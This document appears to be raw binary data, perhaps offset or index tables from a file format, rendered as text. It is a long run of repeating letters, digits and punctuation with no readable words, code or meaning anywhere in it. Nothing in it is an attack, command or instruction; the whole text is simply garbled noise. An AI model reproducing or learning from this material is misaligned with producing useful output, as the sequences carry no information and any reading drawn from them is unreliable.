dWd0"d0#0A0$03d0%0&d0'd0(d0)d0*d0+d0,d0-d0.d0/d00d01d02dWdd0405d06dd0708dd090:dd0;d0<d0=0>d0?d0@dWd0Bdd0C0Dd0Ed0Fd0Gd0Hd0Id0Jd0Kd0Ld0Md0Nd0Od0PdWd0Rd0Sd0T0r0U0dd0V0Wd0Xd0Yd0Zd0[d0\d0]d0^d0_d0`d0ad0bd0cdWdd0e0fd0gdd0h0idd0j0kdd0ld0md0n0od0pd0qdWd0sdd0t0ud0vd0wd0xd0yd0zd0{d0|d0}d0~d0d0d0dWd0d0d00000d000dd00d0d0d0d0d0d0d0d0d0d0d0d0dd0dd00d0d0d0d0d0d0d0d0d0d0d0d0dd0d000dd00d0d0d0d0d0d0d0d0d0d0d0d0dd0dd00d0d0d0d0d0d0d0d0d0d0d0d0dd0d0d000dd00d0d0d0d0d0d0d0d0d0d0d0d0dd0dd00d0d0d0d0d0d0d0d0d0d0d0d0dd01i0d01U01#010d00dd00d0d0d0d0d0d0d0d0d1d1d1d1dd1d111d111 d1 d1 1 1 d11d11ddd1dd11d1d1d1d1d1d1d1d1d1d1 d1!d1"dd1$1C1%d1&131'd1(121)d1*d1+1,1-d1.1/d1011ddd14dd1516d17d18d19d1:d1;d1<d1=d1>d1?d1@d1Ad1Bdd1Dd1E1Fdd1G1Hd1Id1Jd1Kd1Ld1Md1Nd1Od1Pd1Qd1Rd1Sd1Tdd1Vd1Wd1Xd1Y1Zdd1[1\d1]d1^d1_d1`d1ad1bd1cd1dd1ed1fd1gd1hdd1jd1kd1l11m11n11o11pdd1q1rd1sd1td1ud1vd1wd1xd1yd1zd1{d1|d1}d1~dqd1dd11d1d1d1d1d1d1d1d1d1d1d1d1dqd111dd11d1d1d1d1d1d1d1d1d1d1d1d1dqd1dd11d1d1d1d1d1d1d1d1d1d1d1d1dqd1d111dd11d1d1d1d1d1d1d1d1d1d1d1d1dqd1dd11d1d1d1d1d1d1d1d1d1d1d1d1dqd1d1d111dd11d1d1d1d1d1d1d1d1d1d1d1d1dqd1dd11d1d1d1d1d1d1d1d1d1d1d1d1dqd121q1q1q12I1271q12'12122d2dq22dq2q2qd2d222 d2 d2 d2 d2 d2d2d2d2d2d2dqdd22d2dqdd2d2d22d2d2d2dq2 2!d2"dq2#q2$q2%q2&qd2(dd2)2*d2+d2,d2-d2.d2/d20d21d22d23d24d25d26dqd28qq292:dd2;2<d2=d2>d2?d2@d2Ad2Bd2Cd2Dd2Ed2Fd2Gd2Hdqd2Jd2Kd2L2v2M2g2N2U2Od2Pdq2Q2Rdq2Sq2Tqd2Vd2W2c2Xd2Yd2Zd2[d2\d2]d2^d2_d2`d2ad2bdqdd2d2ed2fdqdd2hd2id2j2kd2ld2md2ndq2o2pd2qdq2rq2sq2tq2uqd2wdd2x2yd2zd2{d2|d2}d2~d2d2d2d2d2d2d2dqd232d2d22222d2222d22d2d2d2d2d2d2d2d2d2d2d2d2d6>dd22dd22d2d2d2dd22d2d2d6>d2dd22d2d2d2d2d2d2d2d2d2d2d2d2d6>d2d2222d22d2d2d2d2d2d2d2d2d2d2d2d2d6>dd22dd22d2d2d2dd22d2d2d6>d2dd22d2d2d2d2d2d2d2d2d2d2d2d2d6>d2d2d2322d22d2d2d2d2d2d2d2d2d2d2d2d2d6>dd22dd22d2d3d3dd33d3d3d6>d3dd33 d3 d3 d3 d3 d3d3d3d3d3d3d3d3d6>d3d3d3333{33K33;33,d33d3 d3!d3"d3#d3$d3%d3&d3'd3(d3)d3*d3+dZdd3-3.d3/d30dd31d3233dd34d3536d37d38d39d3:dZd3<dd3=3>d3?d3@d3Ad3Bd3Cd3Dd3Ed3Fd3Gd3Hd3Id3JdZd3L3k3M3\d3N3Od3Pd3Qd3Rd3Sd3Td3Ud3Vd3Wd3Xd3Yd3Zd3[dZdd3]3^d3_d3`dd3ad3b3cdd3dd3e3fd3gd3hd3id3jdZd3ldd3m3nd3od3pd3qd3rd3sd3td3ud3vd3wd3xd3yd3zdZd3|d3}33~3d33d3d3d3d3d3d3d3d3d3d3d3d3dZdd33d3d3dd3d33dd3d33d3d3d3d3dZd3dd33d3d3d3d3d3d3d3d3d3d3d3d3dZd3d3d3333d33d3d3d3d3d3d3d3d3d3d3d3d3dZdd33d3d3dd3d33dd3d33d3d3d3d3dZd3dd33d3d3d3d3d3d3d3d3d3d3d3d3dZd3635A343d3d3434L3434 33d33d3d3d3d3d3d3d3d3d3d3d3d3ddd33dd33d3d3dd33d4dd44d4444d4d4dd4 dd4 4 d4 d4d4d4d4d4d4d4d4d4d4d4dd44<44*d44d4d4d4 d4!d4"d4#d4$d4%d4&d4'd4(d4)ddd4+4,dd4-4.d4/d40dd4142d43dd4445d46494748d4:d4;dd4=dd4>4?d4@d4Ad4Bd4Cd4Dd4Ed4Fd4Gd4Hd4Id4Jd4Kdd4Md4N4p4O4^d4P4Qd4Rd4Sd4Td4Ud4Vd4Wd4Xd4Yd4Zd4[d4\d4]ddd4_4`dd4a4bd4cd4ddd4e4fd4gdd4h4id4j4m4k4ld4nd4odd4qdd4r4sd4td4ud4vd4wd4xd4yd4zd4{d4|d4}d4~d4dd4d4d4444d44d4d4d4d4d4d4d4d4d4d4d4d4ddd44dd44d4d4dd44d4dd44d4444d4d4dd4dd44d4d4d4d4d4d4d4d4d4d4d4d4dd4d4d454444444dd44d4d4d4d4d4d4d4d4d4d4d4d4dd4dd44d4d4d4d4d4d4d4d4d4d4d4d4dd444dd44d4d4d4d4d4d4d4d4d4d4d4d4dd4dd44d4d4d4d4d4d4d4d4d4d4d4d4dd4d454dd55d5d5d5d5d5d5d5d5 d5 d5 d5 d5 dd5dd55d5d5d5d5d5d5d5d5d5d5d5d5dd5d5 d5!515"dd5#5$d5%d5&d5'd5(d5)d5*d5+d5,d5-d5.d5/d50dd52dd5354d55d56d57d58d59d5:d5;d5<d5=d5>d5?d5@dd5B55Cd5Dd5E5s5Fd5Gd5H5c5Idd5J5Kd5Ld5M5X5Nd5Od5Pd5Qd5Rd5Sd5Td5Ud5Vd5WdZdd5Yd5Zd5[5\dd5]5^d5_d5`d5adZ5bZd5ddd5e5fd5gd5hd5id5jd5kd5ld5md5nd5od5pd5qd5rdZd5t55ud5v55wdd5x5yd5zd5{55|d5}d5~d5d5d5d5d5d5d5dZdd5d5d55dd55d5d5d5dZ5Zd5dd55d5d5d5d5d5d5d5d5d5d5d5d5dZd5d555dd55d5d555d5d5d5d5d5d5d5d5d5dZdd5d5d55dd55d5d5d5dZ5Zd5dd55d5d5d5d5d5d5d5d5d5d5d5d5dZd5d56Z555d5d555dd55d5d555d5d5d5d5d5d5d5d5d5ddd5d5d55d5d5d5d5d5d5dd5dd55d5d5d5d5d5d5d5d5d5d5d5d5dd66-6d666dd66d6d666d6 d6 d6 d6 d6 d6d6d6d6ddd6d6d66d6d6d6d6d6d6dd6dd66 d6!d6"d6#d6$d6%d6&d6'd6(d6)d6*d6+d6,dd6.d6/6J60dd6162d63d646?65d66d67d68d69d6:d6;d6<d6=d6>ddd6@d6Ad6B6Cd6Dd6Ed6Fd6Gd6Hd6Idd6Kdd6L6Md6Nd6Od6Pd6Qd6Rd6Sd6Td6Ud6Vd6Wd6Xd6Ydd6[d6\d6]d6^6y6_dd6`6ad6bd6c6n6dd6ed6fd6gd6hd6id6jd6kd6ld6mddd6od6pd6q6rd6sd6td6ud6vd6wd6xdd6zdd6{6|d6}d6~d6d6d6d6d6d6d6d6d6d6dd6767C6d6d676666666dd66d6d666d6d6d6d6d6d6d6d6d6d}Qdd6d66dd6d6}Q6}Q66d6d}Q6}Qd6dd66d6d6d6d6d6d6d6d6d6d6d6d6d}Qd666dd66d6d666d6d6d6d6d6d6d6d6d6d}Qdd6d66dd6d6}Q6}Q66d6d}Q6}Qd6dd66d6d6d6d6d6d6d6d6d6d6d6d6d}Qd6d676dd66d6d666d6d6d6d6d6d6d6d6d6d}Qdd6d66dd6d6}Q7}Q77d7d}Q7}Qd7dd77d7 d7 d7 d7 d7 d7d7d7d7d7d7d7d}QdR77R7737RR77R7R77(7R7R7 R7!R7"R7#R7$R7%R7&R7'R}QRR7)R7*7+RR7,R7-}Q7.}Q7/70R71R}Q72}QR74RR7576R77R78R79R7:R7;R7<R7=R7>R7?R7@R7AR7BR}QR7Dd7Ed7F77G7x7Hd7I7h7J7Yd7K7Ld7Md7Nd7Od7Pd7Qd7Rd7Sd7Td7Ud7Vd7Wd7XdZdd7Z7[d7\dd7]7^d7_dd7`7ad7bdd7c7dd7ed7fd7gdZd7idd7j7kd7ld7md7nd7od7pd7qd7rd7sd7td7ud7vd7wdZd7yd7z77{7d7|7}d7~d7d7d7d7d7d7d7d7d7d7d7dZdd77d7dd77d7dd77d7dd77d7d7d7dZd7dd77d7d7d7d7d7d7d7d7d7d7d7d7dZdd77d7777d77d7d7d7d7d7d7d7d7d7d7d7d7dZdd77d7dd77d7dd77d7dd77d7d7d7dZd7dd77d7d7d7d7d7d7d7d7d7d7d7d7dZd78t7d7d78B787d7877d77d7d7d7d7d7d7d7d7d7d7d7d7d[ dd77d7d7dd7d7d7d77dd77d7d7d8d[ d8dd88d8d8d8d8d8 d8 d8 d8 d8 d8d8d8d[ d8d88288#d88d8d8d8d8d8d8d8d8d8d8 d8!d8"d[ dd8$8%d8&d8'dd8(d8)d8*d8+8,dd8-8.d8/d80d81d[ d83dd8485d86d87d88d89d8:d8;d8<d8=d8>d8?d8@d8Ad[ dd8C8Dd8E8d8F8Ud8G8Hd8Id8Jd8Kd8Ld8Md8Nd8Od8Pd8Qd8Rd8Sd8Td[ dd8V8Wd8Xd8Ydd8Zd8[d8\d8]8^dd8_8`d8ad8bd8cd[ d8edd8f8gd8hd8id8jd8kd8ld8md8nd8od8pd8qd8rd8sd[ d8ud8v88w88xd8yd8z88{dd8|8}d8~d888d8d8d8d8d8d8d8d8d8d{d8dd8d8d88d8d8d{8{8{8{d8dd88d8d8d8d8d8d8d8d8d8d8d8d8d{d888d{88dd88d8d8d8d8d8d8d8d8d8d8d8d8d{d8d{88dd88d8d8d8d8d8d8d8d8d8d8d8d8d{d8d888d{88dd88d8d8d8d8d8d8d8d8d8d8d8d8d{d8d{88dd88d8d8d8d8d8d8d8d8d8d8d8d8d{d8CC8>8;8:C89x8d89L8!8d89#898dd88d8d99 9d9d9d9d9d9d9d9d9 d9 d!d9 dd9 9dd9d99d9d!d9dd99d9d9d9d9d9d9d9d9d9d9 d9!d9"d!d9$9<9%dd9&9'd9(d9)949*d9+d9,d9-d9.d9/d90d91d92d93d!d95dd9697dd98d999:d9;d!d9=dd9>9?d9@d9Ad9Bd9Cd9Dd9Ed9Fd9Gd9Hd9Id9Jd9Kd!d9Md9Nd9Od9P9h9Qdd9R9Sd9Td9U9`9Vd9Wd9Xd9Yd9Zd9[d9\d9]d9^d9_d!d9add9b9cdd9dd9e9fd9gd!d9idd9j9kd9ld9md9nd9od9pd9qd9rd9sd9td9ud9vd9wd!d9yd9z:9{99|d9}d9~999d99d9d9d9d9d9d9d9d9d9d9d9d9d[dd99d9d9dd99dd9d99d9d9d9d9d9d[d9dd99d9d9d9d9d9d9d9d9d9d9d9d9d[d999d9999d99d9d9d9d9d9d9d9d9d9d9d9d9d[dd99d9d9dd99dd9d99d9d9d9d9d9d[d9dd99d9d9d9d9d9d9d9d9d9d9d9d9d[d9d9:99d99d9d9d9d9d9d9d9d9d9d9d9d9d[dd99d9d9dd99dd9d99d9d9d9d9d9d[d:dd::d:d:d:d:d:d: d: d: d: d: d:d:d[d:d:d:d::3::$d::d:d:d:d:d:d:d:d:d: d:!d:"d:#d[dd:%:&d:'d:(dd:):*dd:+d:,:-d:.d:/d:0d:1d:2d[d:4dd:5:6d:7d:8d:9d::d:;d:<d:=d:>d:?d:@d:Ad:Bd[d:D;:Ed:F::G:y:Hd:Id:J:i:K:Zd:L:Md:Nd:Od:Pd:Qd:Rd:Sd:Td:Ud:Vd:Wd:Xd:Yd[)dd:[:\d:]d:^dd:_:`d:ad:bdd:c:dd:ed:fd:gd:hd[)d:jdd:k:ld:md:nd:od:pd:qd:rd:sd:td:ud:vd:wd:xd[)d:z::{d:|::}:d:~:d:d:d:d:d:d:d:d:d:d:d:d:d[)dd::d:d:dd::d:d:dd::d:d:d:d:d[)d:dd::d:d:d:d:d:d:d:d:d:d:d:d:d[)d:d::::d::d:d:d:d:d:d:d:d:d:d:d:d:d[)dd::d:d:dd::d:d:dd::d:d:d:d:d[)d:dd::d:d:d:d:d:d:d:d:d:d:d:d:d[)d:d:d:d::::d::d:d:d:d:d:d:d:d:d:d:d:d:d[)dd::d:d:dd::d:d:dd::d:d:d:d:d[)d;dd;;d;d;d;d;d;d;d; d; d; d; d; d;d[)d;d;;;;C;d;d;;3;;%d;;d;d;d;d;d;d;d;d; d;!d;"d;#d;$d[8dd;&;'d;(dd;);*dd;+d;,;-d;.dd;/;0d;1d;2d[8d;4dd;5;6d;7d;8d;9d;:d;;d;<d;=d;>d;?d;@d;Ad;Bd[8d;D;t;Ed;F;d;G;Vd;H;Id;Jd;Kd;Ld;Md;Nd;Od;Pd;Qd;Rd;Sd;Td;Ud[8dd;W;Xd;Ydd;Z;[dd;\d;];^d;_dd;`;ad;bd;cd[8d;edd;f;gd;hd;id;jd;kd;ld;md;nd;od;pd;qd;rd;sd[8d;ud;v;;w;d;x;yd;zd;{d;|d;}d;~d;d;d;d;d;d;d;d[8dd;;d;dd;;dd;d;;d;dd;;d;d;d[8d;dd;;d;d;d;d;d;d;d;d;d;d;d;d;d[8d;d;d;d;;;;d;;d;d;d;d;d;d;d;d;d;d;d;d;d[8dd;;d;dd;;dd;d;;d;dd;;d;d;d[8d;dd;;d;d;d;d;d;d;d;d;d;d;d;d;d[8d;=;<;d;d[Gd<@d=Md=?=@d=Ad=Bd=Cd=Dd=Ed=Fd=Gd=Hd=Id=Jd=Kd=Ldmdd=N=Od=Pdd=Qd=R=Sdd=Td=Ud=V=Wd=Xd=Yd=Zdm=[md=]dd=^=_d=`d=ad=bd=cd=dd=ed=fd=gd=hd=id=jd=kdmd=md=n==o=~d=p=qd=rd=sd=td=ud=vd=wd=xd=yd=zd={d=|d=}dmdd==d=dd=d==dd=d=d==d=d=d=dm=md=dd==d=d=d=d=d=d=d=d=d=d=d=d=dmd=>6=d=d===d=d====d==d=d=d=d=d=d=d=d=d=d=d=d=d[Vdd==d=d=d=dd==dd==d=d=d=d=d=d[Vd=dd==d=d=d=d=d=d=d=d=d=d=d=d=d[Vd=>=d====d==d=d=d=d=d=d=d=d=d=d=d=d=d[Vdd==d=d=d=dd==dd==d=d=d=d=d=d[Vd=dd==d=d=d=d=d=d=d=d>d>d>d>d>d[Vd>d>>&>>d> > d> d> d> d>d>d>d>d>d>d>d>d>d[Vdd>>d>d>d>dd>>dd>> d>!d>"d>#d>$d>%d[Vd>'dd>(>)d>*d>+d>,d>-d>.d>/d>0d>1d>2d>3d>4d>5d[Vd>7d>8d>9>>:>k>;d><>[>=>Ld>>>?d>@d>Ad>Bd>Cd>Dd>Ed>Fd>Gd>Hd>Id>Jd>Kd[edd>M>Nd>Od>Pd>Qdd>R>Sd>Tdd>Ud>V>Wd>Xd>Yd>Zd[ed>\dd>]>^d>_d>`d>ad>bd>cd>dd>ed>fd>gd>hd>id>jd[ed>ld>m>>n>}d>o>pd>qd>rd>sd>td>ud>vd>wd>xd>yd>zd>{d>|d[edd>~>d>d>d>dd>>d>dd>d>>d>d>d>d[ed>dd>>d>d>d>d>d>d>d>d>d>d>d>d>d[edd>>d>>>>d>>d>d>d>d>d>d>d>d>d>d>d>d>d[edd>>d>d>d>dd>>d>dd>d>>d>d>d>d[ed>dd>>d>d>d>d>d>d>d>d>d>d>d>d>d[ed>@>?>?:>d>d>d>?>>>>>dd>>d>d>d>d>d>d>d>d>d>d>d>d>dd>dd>>d>d>d>d>d>d>d>d>d>d>d>d>dd>?>dd>>d>d>d>d>d?d?d?d?d?d?d?d?dd? dd? ? d? d? d?d?d?d?d?d?d?d?d?d?dd?d??*?dd??d?d?d? d?!d?"d?#d?$d?%d?&d?'d?(d?)dd?+dd?,?-d?.d?/d?0d?1d?2d?3d?4d?5d?6d?7d?8d?9dd?;d?<d?=?r?>d??d?@?b?A?Td?B?Cd?Dd?Ed?F?P?Gd?Hd?Id?Jd?Kd?Ld?Md?Nd?Odd?Qd?Rd?Sddd?U?Vdd?Wd?X?Yd?Zd?[d?\d?]d?^d?_d?`?add?cdd?d?ed?fd?gd?hd?id?jd?kd?ld?md?nd?od?pd?qdd?s??td?u??v?d?w?xd?yd?zd?{??|d?}d?~d?d?d?d?d?d?dd?d?d?ddd??dd?d??d?d?d?d?d?d?d??dd?dd??d?d?d?d?d?d?d?d?d?d?d?d?dd?d????d??d?d?d???d?d?d?d?d?d?d?d?dd?d?d?d?d?????dd??dd?d??d?d?d?d?d?d?d??dd?dd??d?d?d?d?d?d?d?d?d?d?d?d?dd?d?d?@z?@?d?d?@??d??d?d?d?d?d?d?d?d?d?d?d?d?d[tdd??d?d?d?d?dd?d@d@@d@d@d@d@d[td@dd@ @ d@ d@ d@ d@d@d@d@d@d@d@d@d@d[td@@I@d@@9@@*d@@d@d@d@ d@!d@"d@#d@$d@%d@&d@'d@(d@)d[tdd@+@,d@-d@.d@/d@0dd@1d@2d@3@4d@5d@6d@7d@8d[td@:dd@;@<d@=d@>d@?d@@d@Ad@Bd@Cd@Dd@Ed@Fd@Gd@Hd[td@Jd@K@j@L@[d@M@Nd@Od@Pd@Qd@Rd@Sd@Td@Ud@Vd@Wd@Xd@Yd@Zd[tdd@\@]d@^d@_d@`d@add@bd@cd@d@ed@fd@gd@hd@id[td@kdd@l@md@nd@od@pd@qd@rd@sd@td@ud@vd@wd@xd@yd[td@{d@|d@}d@~@@@d@@d@d@d@d@d@d@d@d@d@d@d@d@d[tdd@@d@d@d@d@dd@d@d@@d@d@d@d@d[td@dd@@d@d@d@d@d@d@d@d@d@d@d@d@d[td@A@A@d@d@@@@@d@@@dd@@d@d@d@d@d@d@d@d@d@d@d@d@dSd@dd@@d@d@d@d@d@d@d@d@d@d@d@d@dSd@d@@@dd@@d@d@d@d@d@d@d@d@d@d@d@d@dSd@dd@@d@d@d@d@d@d@d@d@d@d@d@d@dSd@d@d@A @dd@@d@d@dAdAdAdAdAdAdAdAdAdA dSdA ddA A dAdAdAdAdAdAdAdAdAdAdAdAdSdAdAAAAOAdAdA A?A!A0dA"A#dA$dA%dA&dA'dA(dA)dA*dA+dA,dA-dA.dA/d[ddA1A2dA3dA4dA5dA6ddA7A8dA9dA:dA;dA<dA=dA>d[dA@ddAAABdACdADdAEdAFdAGdAHdAIdAJdAKdALdAMdANd[dAPAAQdARAqASAbdATAUdAVdAWdAXdAYdAZdA[dA\dA]dA^dA_dA`dAad[ddAcAddAedAfdAgdAhddAiAjdAkdAldAmdAndAodApd[dArddAsAtdAudAvdAwdAxdAydAzdA{dA|dA}dA~dAdAd[dAdAAAAdAAdAdAdAdAdAdAdAdAdAdAdAdAd[ddAAdAdAdAdAddAAdAdAdAdAdAdAd[dAddAAdAdAdAdAdAdAdAdAdAdAdAdAd[dAdAdAdAAAAdAAdAdAdAdAdAdAdAdAdAdAdAdAd[ddAAdAdAdAdAddAAdAdAdAdAdAdAd[dAddAAdAdAdAdAdAdAdAdAdAdAdAdAd[dAB~AdAdABLABAdAB AAdAAdAdAdAdAdAdAdAdAdAdAdAdAd[ddAAdAdBdBdBdBdBdBddBBdBdB dB d[dB ddB BdBdBdBdBdBdBdBdBdBdBdBdBd[dBdBB<BB-dBB dB!dB"dB#dB$dB%dB&dB'dB(dB)dB*dB+dB,d[ddB.B/dB0dB1dB2dB3dB4dB5dB6ddB7B8dB9dB:dB;d[dB=ddB>B?dB@dBAdBBdBCdBDdBEdBFdBGdBHdBIdBJdBKd[ddBMBNdBOBnBPB_dBQBRdBSdBTdBUdBVdBWdBXdBYdBZdB[dB\dB]dB^d[ddB`BadBbdBcdBddBedBfdBgdBhddBiBjdBkdBldBmd[dBoddBpBqdBrdBsdBtdBudBvdBwdBxdBydBzdB{dB|dB}d[dBdBdBBBBBdBBBBdBBdBdBdBdBdBdBdBdBdBdBdBdBd[ddBBdBddBBdBddBdBdBdBBdBdBd[dBddBBdBdBdBdBdBdBdBdBdBdBdBdBd[dBdBBBBdBBdBdBdBdBdBdBdBdBdBdBdBdBd[ddBBdBddBBdBddBdBdBdBBdBdBd[dBddBBdBdBdBdBdBdBdBdBdBdBdBdBd[dBCBdBCBBdBBdBdBdBdBdBdBdBdBdBdBdBdBd[ddBBdBddBBdBddBdBdBdBCdCdCd[dCddCCdCdCdC dC dC dC dC dCdCdCdCdCd[dCdCC3CC%dCCdCdCdCdCdCdCdCdC dC!dC"dC#dC$d[ddC&C'dC(ddC)C*dC+ddC,dC-dC.dC/C0dC1dC2d[dC4ddC5C6dC7dC8dC9dC:dC;dC<dC=dC>dC?dC@dCAdCBd[dCDIyCEFCFDCGD9CHdCIDCJCCKCzCLdCMCjCNC]dCOCPdCQdCRdCSdCTdCUdCVdCWdCXdCYdCZdC[dC\dGddC^C_ddC`CadCbddCcCdddCeCfdCgdChdGCiGdCkddClCmdCndCodCpdCqdCrdCsdCtdCudCvdCwdCxdCydGdC{dC|CC}CdC~CdCdCdCdCdCdCdCdCdCdCdCdCdGddCCddCCdCddCCddCCdCdCdGCGdCddCCdCdCdCdCdCdCdCdCdCdCdCdCdGdCCCdCCCCdCCdCdCdCdCdCdCdCdCdCdCdCdCdGddCCddCCdCddCCddCCdCdCdGCGdCddCCdCdCdCdCdCdCdCdCdCdCdCdCdGdCdCCCCdCCdCdCdCdCdCdCdCdCdCdCdCdCdGddCCddCCdCddCCddCCdCdCdGCGdCddCCdCdCdCdCdDdDdDdDdDdDdDdDdGdD dD dD dD D)D DdDDdDdDdDdDdDdDdDdDdDdDdDdDdGddDDddDD dD!ddD"D#ddD$D%dD&dD'dGD(GdD*ddD+D,dD-dD.dD/dD0dD1dD2dD3dD4dD5dD6dD7dD8dGdD:DD;DD<DaD=DOD>dD?D@ddDADBdDCdDDdDEdDFdDGdDHdDIdDJdDKdDLdDMdDNddDPdDQDRddDSDTdDUdDVdDWdDXdDYdDZdD[dD\dD]dD^dD_dD`ddDbDtDcdDdDeddDfDgdDhdDidDjdDkdDldDmdDndDodDpdDqdDrdDsddDudDvDwddDxDydDzdD{dD|dD}dD~dDdDdDdDdDdDdDddDDDDDdDDddDDdDdDdDdDdDdDdDdDdDdDdDdDddDdDDddDDdDdDdDdDdDdDdDdDdDdDdDdDddDDDdDDddDDdDdDdDdDdDdDdDdDdDdDdDdDddDdDDddDDdDdDdDdDdDdDdDdDdDdDdDdDddDdDdDDDdDDddDDdDdDdDdDdDdDdDdDdDdDdDdDddDdDDddDDdDdDdDdDdDdDdDdDdDdDdDdDddDEDdDdDE_DE.DdDEEEdEEdEdEdEdEdEdEdE dE dE dE dE dEd[ddEEdEddEEdEdEdEddEEdEdEdEdEd[dEddE E!dE"dE#dE$dE%dE&dE'dE(dE)dE*dE+dE,dE-d[dE/dE0EOE1E@dE2E3dE4dE5dE6dE7dE8dE9dE:dE;dE<dE=dE>dE?d[ddEAEBdECddEDEEdEFdEGdEHddEIEJdEKdELdEMdENd[dEPddEQERdESdETdEUdEVdEWdEXdEYdEZdE[dE\dE]dE^d[dE`EEadEbEEcErdEdEedEfdEgdEhdEidEjdEkdEldEmdEndEodEpdEqd[ddEsEtdEuddEvEwdExdEydEzddE{E|dE}dE~dEdEd[dEddEEdEdEdEdEdEdEdEdEdEdEdEdEd[dEdEEEEdEEdEdEdEdEdEdEdEdEdEdEdEdEd[ddEEdEddEEdEdEdEddEEdEdEdEdEd[dEddEEdEdEdEdEdEdEdEdEdEdEdEdEd[dEdEdEFXEF'EEEEEEdEEdEdEdEdEdEdEdEdEdEdEdEdEd[ddEEdEdEddEdEdEdEdEdEEdEdEdEd[dEddEEdEdEdEdEdEdEdEdEdEdEdEdEd[dEFEFdEEdEdEdEdEdFdFdFdFdFdFdFdFd[ddF F dF dF ddF dFdFdFdFdFFdFdFdFd[dFddFFdFdFdFdFdFdF dF!dF"dF#dF$dF%dF&d[dF(dF)FHF*F9dF+F,dF-dF.dF/dF0dF1dF2dF3dF4dF5dF6dF7dF8d[ddF:F;dF<dF=ddF>dF?dF@dFAdFBdFCFDdFEdFFdFGd[dFIddFJFKdFLdFMdFNdFOdFPdFQdFRdFSdFTdFUdFVdFWd[ddFYFZdF[FzF\FkdF]F^dF_dF`dFadFbdFcdFddFedFfdFgdFhdFidFjd[ddFlFmdFndFoddFpdFqdFrdFsdFtdFuFvdFwdFxdFyd[dF{ddF|F}dF~dFdFdFdFdFdFdFdFdFdFdFd[dFHFGPFdFdFGFFFFFFFFdFFdFdFdFdFdFdFdFdFdFdFdFdFdddFFdFddFFddFdFdFdFFdFdFdFddFddFFdFdFdFdFdFdFdFdFdFdFdFdFddFFFFdFFdFdFdFdFdFdFdFdFdFdFdFdFdddFFdFddFFddFdFdFdFFdFdFdFddFddFFdFdFdFdFdFdFdFdFdFdFdFdFddFdFGFGdFFdFdFdFdFdFdFdFdFdFdFdFdGdddGGdGddGGddGdGdG dG G dG dG dGddGddGGdGdGdGdGdGdGdGdGdGdGdGdGdddG G!dG"G@G#G2dG$G%dG&dG'dG(dG)dG*dG+dG,dG-dG.dG/dG0dG1dddG3G4dG5ddG6G7ddG8dG9dG:dG;G<dG=dG>dG?ddGAddGBGCdGDdGEdGFdGGdGHdGIdGJdGKdGLdGMdGNdGOddGQdGRdGSGGTdGUGGVGuGWGfdGXGYdGZdG[dG\dG]dG^dG_dG`dGadGbdGcdGddGedBddGgGhddGiGjddGkGlddGmdGndGoBGpGqdBGrBGsGtdBdGvddGwGxdGydGzdG{dG|dG}dG~dGdGdGdGdGdGdBdGGGGdGGdGdGdGdGdGdGdGdGdGdGdGdGdBddGGddGGddGGddGdGdGBGGdBGBGGdBdGddGGdGdGdGdGdGdGdGdGdGdGdGdGdBdGGGdGGGGdGGdGdGdGdGdGdGdGdGdGdGdGdGdBddGGddGGddGGddGdGdGBGGdBGBGGdBdGddGGdGdGdGdGdGdGdGdGdGdGdGdGdBdGdGHGGdGGdGdGdGdGdGdGdGdGdGdGdGdGdBddGGddGGddGGddHdHdHBHHdBHBHHdBdH ddH H dH dH dHdHdHdHdHdHdHdHdHdHdBdHHHdHdHHNHdHdHH>H H/dH!H"dH#dH$dH%dH&dH'dH(dH)dH*dH+dH,dH-dH.d[ddH0H1dH2dH3ddH4dH5H6dH7dH8dH9dH:dH;dH<dH=d[dH?ddH@HAdHBdHCdHDdHEdHFdHGdHHdHIdHJdHKdHLdHMd[dHOHHPdHQHpHRHadHSHTdHUdHVdHWdHXdHYdHZdH[dH\dH]dH^dH_dH`d[ddHbHcdHddHeddHfdHgHhdHidHjdHkdHldHmdHndHod[dHqddHrHsdHtdHudHvdHwdHxdHydHzdH{dH|dH}dH~dHd[dHdHHHHdHHdHdHdHdHdHdHdHdHdHdHdHdHd[ddHHdHdHddHdHHdHdHdHdHdHdHdHd[dHddHHdHdHdHdHdHdHdHdHdHdHdHdHd[dHdHdHIGHIHHHHHHdHHdHdHdHdHdHdHdHdHdHdHdHdHd[ddHHdHdHddHHddHHddHdHHdHdHdHd[dHddHHdHdHdHdHdHdHdHdHdHdHdHdHd[dHIHHdHHdHdHdHdHdHdHdHdHdHdHdHdHd[ddHHdHdHddHHddHHddIdIIdIdIdId[dIddII dI dI dI dI dIdIdIdIdIdIdIdId[dIdII7II(dIIdIdIdIdIdI dI!dI"dI#dI$dI%dI&dI'd[ddI)I*dI+dI,ddI-I.ddI/I0ddI1dI2I3dI4dI5dI6d[dI8ddI9I:dI;dI<dI=dI>dI?dI@dIAdIBdICdIDdIEdIFd[dIHdIIdIJIiIKIZdILIMdINdIOdIPdIQdIRdISdITdIUdIVdIWdIXdIYd[ddI[I\dI]dI^ddI_I`ddIaIbddIcdIdIedIfdIgdIhd[dIjddIkIldImdIndIodIpdIqdIrdIsdItdIudIvdIwdIxd[dIzL9I{JI|JI}dI~dIIIdIdIIIIdIIdIdIdIdIdIdIdIdIdIdIdIdId[ddIIdIddIdIIddIdIdIdIIdIdId[I[dIddIIdIdIdIdIdIdIdIdIdIdIdIdId[dIIIdIIIIdIIdIdIdIdIdIdIdIdIdIdIdIdId[ddIIdIddIdIIddIdIdIdIIdIdId[I[dIddIIdIdIdIdIdIdIdIdIdIdIdIdId[dIdIJIIdIIdIdIdIdIdIdIdIdIdIdIdIdId[ddIIdIddIdIIddIdIdIdIJdJdJd[J[dJddJJdJdJ dJ dJ dJ dJ dJdJdJdJdJdJd[dJdJdJJJJyJJIJJ9JJ*dJJdJdJdJ dJ!dJ"dJ#dJ$dJ%dJ&dJ'dJ(dJ)d[ddJ+J,dJ-dJ.dJ/ddJ0J1ddJ2dJ3J4dJ5dJ6dJ7dJ8d[dJ:ddJ;J<dJ=dJ>dJ?dJ@dJAdJBdJCdJDdJEdJFdJGdJHd[dJJJiJKJZdJLJMdJNdJOdJPdJQdJRdJSdJTdJUdJVdJWdJXdJYd[ddJ[J\dJ]dJ^dJ_ddJ`JaddJbdJcJddJedJfdJgdJhd[dJjddJkJldJmdJndJodJpdJqdJrdJsdJtdJudJvdJwdJxd[dJzdJ{JJ|JdJ}J~dJdJdJdJdJdJdJdJdJdJdJdJd[ddJJdJdJdJddJJddJdJJdJdJdJdJd[dJddJJdJdJdJdJdJdJdJdJdJdJdJdJd[dJdJdJJJJdJJdJdJdJdJdJdJdJdJdJdJdJdJd[ddJJdJdJdJddJJddJdJJdJdJdJdJd[dJddJJdJdJdJdJdJdJdJdJdJdJdJdJd[dJKuJdJdJKJdJdJKJJdJJdJd